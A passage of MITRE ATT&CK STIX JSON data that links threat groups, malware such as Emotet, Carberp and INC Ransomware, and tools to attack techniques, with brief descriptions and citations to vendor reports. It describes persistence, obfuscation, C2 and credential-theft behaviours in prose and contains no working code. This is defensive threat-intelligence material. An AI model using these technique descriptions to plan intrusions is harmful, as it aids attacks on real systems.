Utility)","relationship_type":"uses","source_ref":"tool--ca656c25-44f1-471b-9d9f-e2a3bbb84973","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31fb3ebe-3fc9-4257-b7d5-a1b12b54bbe3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"}],"modified":"2019-07-16T15:35:21.033Z","description":"[Dark Caracal](https://attack.mitre.org/groups/G0070) has used UPX to pack [Bandook](https://attack.mitre.org/software/S0234).(Citation: Lookout Dark Caracal Jan 2018)","relationship_type":"uses","source_ref":"intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31fe18d1-7799-466c-adb3-3be923ed4f3a","type":"relationship","created":"2020-12-22T17:07:56.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2020-12-22T17:07:56.080Z","description":"[SharpStage](https://attack.mitre.org/software/S0546) has a persistence component to write a scheduled task for the payload.(Citation: Cybereason Molerats Dec 2020) ","relationship_type":"uses","source_ref":"malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32035519-2c91-4fc2-a9c4-64c766510374","type":"relationship","created":"2021-06-22T13:54:15.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-22T13:54:15.685Z","description":"[SodaMaster](https://attack.mitre.org/software/S0627) can use \"stackstrings\" for obfuscation.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--94d6d788-07bb-4dcc-b62f-e02626b00108","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--320966af-53db-41e3-aaf0-f5fd68bce8ca","created":"2020-07-15T20:23:36.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevx Carberp March 2011","description":"Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20231227000328/http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf"},{"source_name":"Trusteer Carberp October 2010","description":"Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. Retrieved July 15, 2020.","url":"https://web.archive.org/web/20111004014029/http://www.trusteer.com/sites/default/files/Carberp_Analysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:17:52.253Z","description":"[Carberp](https://attack.mitre.org/software/S0484) can download and execute new plugins from the C2 server. (Citation: Prevx Carberp March 2011)(Citation: Trusteer Carberp October 2010)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--32126e79-18ce-4393-a555-50aa34760da9","created":"2021-03-10T20:32:54.444Z","x_mitre_version":"1.0","external_references":[{"source_name":"IBM ITG18 2020","url":"https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/","description":"Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has compromised personal email accounts through the use of legitimate credentials and gathered additional victim information.(Citation: IBM ITG18 2020)","modified":"2022-04-15T11:51:17.514Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3213e4e5-c3e4-4d51-8dce-929248f2882b","created":"2019-09-23T22:31:33.497Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"Group IB APT 41 June 2021","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.","url":"https://www.group-ib.com/blog/colunmtk-apt41/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:45:58.850Z","description":"[APT41](https://attack.mitre.org/groups/G0096) leveraged code-signing certificates to sign malware when targeting both gaming and non-gaming organizations.(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--321544e0-902c-443e-adf9-d7e78f0e4d13","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2020-03-16T19:50:03.313Z","description":"[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of downloading remote files.(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"malware--ab3580c8-8435-4117-aace-3d9fbe46aa56","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3216e004-d8fe-4475-a107-8c3ad92f0fd8","type":"relationship","created":"2021-09-07T14:18:54.894Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"},{"source_name":"Kaspersky Transparent Tribe August 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."}],"modified":"2021-10-15T18:54:53.495Z","description":"[Crimson](https://attack.mitre.org/software/S0115) can add Registry run keys for persistence.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--321703ba-7871-46c0-837e-6a2e1dc5aba9","type":"relationship","created":"2019-04-19T16:27:45.818Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","source_name":"US-CERT HOPLIGHT Apr 2019"}],"modified":"2019-04-22T19:41:53.498Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) has multiple proxy options that mask traffic between the malware and the remote operators.(Citation: US-CERT HOPLIGHT Apr 2019)\t\n","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--321a0d18-11a6-4504-add5-8ee515a43170","type":"relationship","created":"2021-10-12T19:42:17.109Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Tick Apr 2016","description":"DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.","url":"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"}],"modified":"2021-10-12T19:42:17.109Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has obtained and used open-source tools such as [Mimikatz](https://attack.mitre.org/software/S0002), [gsecdump](https://attack.mitre.org/software/S0008), and [Windows Credential Editor](https://attack.mitre.org/software/S0005).(Citation: Symantec Tick Apr 2016)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--321a3181-9478-4a4c-b13b-607dbfeee7fc","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2019-04-24T17:52:47.743Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can bypass Windows UAC through either DLL hijacking, eventvwr, or appPaths.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--321c1e2e-c295-42db-87cf-4d71f6c7f164","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html","description":"Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.","source_name":"FireEye FELIXROOT July 2018"}],"modified":"2020-03-17T01:16:25.993Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) deletes the Registry key HKCU\\Software\\Classes\\Applications\\rundll32.exe\\shell\\open.(Citation: FireEye FELIXROOT July 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--321e9302-b335-4f17-b03a-7782683d69f9","type":"relationship","created":"2021-10-01T01:57:31.556Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aqua TeamTNT August 2020","url":"https://blog.aquasec.com/container-security-tnt-container-attack","description":"Kol, Roi. Morag, A. (2020, August 25). Deep Analysis of TeamTNT Techniques Using Container Images to Attack. Retrieved September 22, 2021."}],"modified":"2021-10-01T01:57:31.556Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has disabled iptables.(Citation: Aqua TeamTNT August 2020)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32218bd0-d598-4560-9a70-ab7d5c92f986","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2018-10-17T00:14:20.652Z","description":"[WINDSHIELD](https://attack.mitre.org/software/S0155) can gather the victim user name.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"malware--98e8a977-3416-43aa-87fa-33e287e9c14c","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3222edc5-bed6-4e8f-b62b-d76040754218","type":"relationship","created":"2019-04-17T18:43:36.299Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.","url":"https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/","source_name":"CheckPoint SpeakUp Feb 2019"}],"modified":"2020-03-29T16:41:33.248Z","description":"[SpeakUp](https://attack.mitre.org/software/S0374) can perform brute forcing using a pre-defined list of usernames and passwords in an attempt to log in to administrative panels. (Citation: CheckPoint SpeakUp Feb 2019)","relationship_type":"uses","source_ref":"malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d","target_ref":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--322703cc-c8f9-4046-8a61-e165a2d11bc7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/","description":"Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.","source_name":"Unit 42 C0d0so0 Jan 2016"}],"modified":"2019-04-25T11:39:52.002Z","description":"[APT19](https://attack.mitre.org/groups/G0073) used an HTTP malware variant and a Port 22 malware variant to collect the MAC address and IP address from the victim’s machine.(Citation: Unit 42 C0d0so0 Jan 2016)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--32285265-97d8-4d93-b601-ade0155b2a9e","created":"2024-06-06T19:22:38.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T15:40:28.329Z","description":"[INC Ransomware](https://attack.mitre.org/software/S1139) can use the API `DeviceIoControl` to resize the allocated space for and cause the deletion of volume shadow copy snapshots.(Citation: Cybereason INC Ransomware November 2023)","relationship_type":"uses","source_ref":"malware--f25d4207-25b2-4bb0-a17a-403943c670ad","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--322876d6-1b49-43d8-9e4a-590919d1f930","type":"relationship","created":"2020-06-11T19:52:07.232Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-06-11T19:52:07.232Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has used uname -m to collect the name and information about the infected system's kernel.(Citation: Anomali Rocke March 2019)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--322a78a2-1765-414f-9b07-29a1360e1134","type":"relationship","created":"2020-11-16T20:05:31.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-16T20:05:31.231Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can download and execute a replica of itself using [certutil](https://attack.mitre.org/software/S0160).(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--322fcce0-fe46-48f2-b57c-01b73b316339","created":"2022-08-08T19:53:16.516Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[POLONIUM](https://attack.mitre.org/groups/G1005) has used OneDrive and DropBox for C2.(Citation: Microsoft POLONIUM June 2022)","modified":"2022-08-08T19:53:16.516Z","relationship_type":"uses","source_ref":"intrusion-set--5f3d0238-d058-44a9-8812-3dd1b6741a8c","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3231ef46-26f9-4711-adfe-cfa68425f848","created":"2022-01-06T20:23:01.566Z","x_mitre_version":"1.0","external_references":[{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KONNI](https://attack.mitre.org/software/S0356) has used parent PID spoofing to spawn a new `cmd` process using `CreateProcessW` and a handle to `Taskmgr.exe`.(Citation: Malwarebytes Konni Aug 2021) ","modified":"2022-04-18T19:48:24.407Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--323269a9-56d0-45d5-8010-652657841f0e","created":"2024-03-11T18:03:50.288Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-11T18:08:28.255Z","description":"[FRAMESTING](https://attack.mitre.org/software/S1120) can retrieve C2 commands from values stored in the `DSID` cookie from the current HTTP request or from decompressed zlib data within the request's `POST` data.(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"malware--bcaae558-9697-47a2-9ec7-c75000ddf58c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3236ca50-2342-455a-b258-6a085cae8fc2","type":"relationship","created":"2019-03-26T17:48:52.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Emotet Jul 2018","url":"https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor","description":"Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019."},{"source_name":"US-CERT Emotet Jul 2018","url":"https://www.us-cert.gov/ncas/alerts/TA18-201A","description":"US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019."},{"source_name":"Picus Emotet Dec 2018","url":"https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html","description":"Özarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019."}],"modified":"2019-06-28T15:25:29.465Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has been observed adding the downloaded payload to the HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run key to maintain persistence.(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: Picus Emotet Dec 2018)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3237c264-c70c-4fe4-9f53-a8709c3dd006","type":"relationship","created":"2019-03-11T15:04:51.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:58.894Z","description":"[Empire](https://attack.mitre.org/software/S0363) can use various modules to search for files containing passwords.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--323863fd-c133-45f4-9628-b09b039b7c31","created":"2023-02-16T18:45:13.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T21:45:57.327Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) can implement the `kernel32.dll` Sleep function to delay execution for up to 300 seconds before implementing persistence or processing an addon package.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--323eed81-9e09-44fb-9dea-bad6aae88e7f","created":"2022-09-30T20:08:11.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T19:25:03.907Z","description":"[Mis-Type](https://attack.mitre.org/software/S0084) has created registry keys for persistence, including `HKCU\\Software\\bkfouerioyou`, 